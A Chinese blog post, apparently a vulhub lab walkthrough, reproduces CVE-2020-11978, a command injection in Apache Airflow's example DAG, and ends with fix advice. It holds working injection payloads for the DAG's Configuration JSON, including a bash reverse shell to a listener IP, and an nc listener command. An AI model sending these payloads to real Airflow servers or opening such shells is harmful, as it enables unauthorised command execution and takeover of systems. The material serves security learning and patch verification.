[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978

博主介绍

‍ 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2020-11978环境
    • 2、启动CVE-2020-11978环境
    • 3、查看CVE-2020-11978环境
    • 4、访问CVE-2020-11978环境
    • 5、查看CVE-2020-11978提示信息
    • 6、关闭CVE-2020-11978环境
  • 五、漏洞复现
    • 1、打开example_trigger_target_dag
    • 2、进入到调试页面
    • 3、注入代码
    • 4、执行成功
    • 5、文件创建成功
  • 六、Getshell
    • 1、攻击机监听
    • 2、靶机连接
      • 1.反弹shell命令
      • 2.构造payload
      • 3、进入到调试页面
      • 4、注入代码
      • 5、执行成功
    • 3、getshell成功
  • 七、修复建议
  • 八、相关资源

一、漏洞编号

CVE-2020-11978

二、影响范围

Apache Airflow <= 1.10.10

三、漏洞描述

Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG(Directed acyclic graph 有向无环图)来管理任务流程的任务调度工具, 不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力,并且提供了钩子(hook)使其拥有很好地扩展性。除了一个命令行界面,该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。

四、环境搭建

1、进入CVE-2020-11978环境

cd vulhub/airflow/CVE-2020-11978 

在这里插入图片描述

2、启动CVE-2020-11978环境

docker-compose up -d

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第1张图片

3、查看CVE-2020-11978环境

这里需要注意一下,由于漏洞环境比较大,启动的时间很慢,并不是一下子就能启动好的。

docker-compose ps 

下面这个图是我启动之后立马查看的,还有还环境没有起来

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第2张图片

这是我隔了一段时间之后再次查看的图片,这个时候又多了一个8080端口

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第3张图片

4、访问CVE-2020-11978环境

http://192.168.233.128:8080/admin/

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第4张图片

5、查看CVE-2020-11978提示信息

cat README.md

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第5张图片

6、关闭CVE-2020-11978环境

复现完记得关闭环境

docker-compose down

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第6张图片

五、漏洞复现

1、打开example_trigger_target_dag

访问http://192.168.25.130:8080进入airflow管理端,将example_trigger_target_dag前面的Off改为On。

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第7张图片

2、进入到调试页面

进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第8张图片

3、注入代码

在Configuration JSON中输入:

{"message":"'\";touch /tmp/what_the_fuck;#"}

再点击Trigger执行dag。

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第9张图片

4、执行成功

等几秒可以看到执行成功,显示success,说明命令成功。

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第10张图片

5、文件创建成功

进入容器查看,发现成功创建PowerShell.txt文件创建成功

docker ps
docker exec -it 容器id /bin/bash
ls /tmp

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第11张图片

六、Getshell

1、攻击机监听

nc -lvvp 55555

Nc反弹shell在文末给出

在这里插入图片描述

2、靶机连接

1.反弹shell命令

Bash反弹shell详解在文末给出

bash -i >& /dev/tcp/192.168.233.1/55555 0>&1

2.构造payload

{"message":"'\";bash -i >& /dev/tcp/192.168.233.1/55555 0>&1;#"}

3、进入到调试页面

进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第12张图片

4、注入代码

在Configuration JSON中输入payload

{"message":"'\";bash -i >& /dev/tcp/192.168.233.1/55555 0>&1;#"}

再点击Trigger执行dag。

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第13张图片

5、执行成功

等几秒可以看到执行成功,一直显示running,我们进入监听端看一下。

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第14张图片

3、getshell成功

进入监听端发现shell反弹过来了

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第15张图片

执行ls /tmp发现我们之前创建的文件

[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978_第16张图片

七、修复建议

1、升级到最新版本
2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)

八、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

你可能感兴趣的:(轮播展示专栏,vulhub漏洞复现,Apache,Airflow,命令注入漏洞,CVE-2020-11978,渗透测试)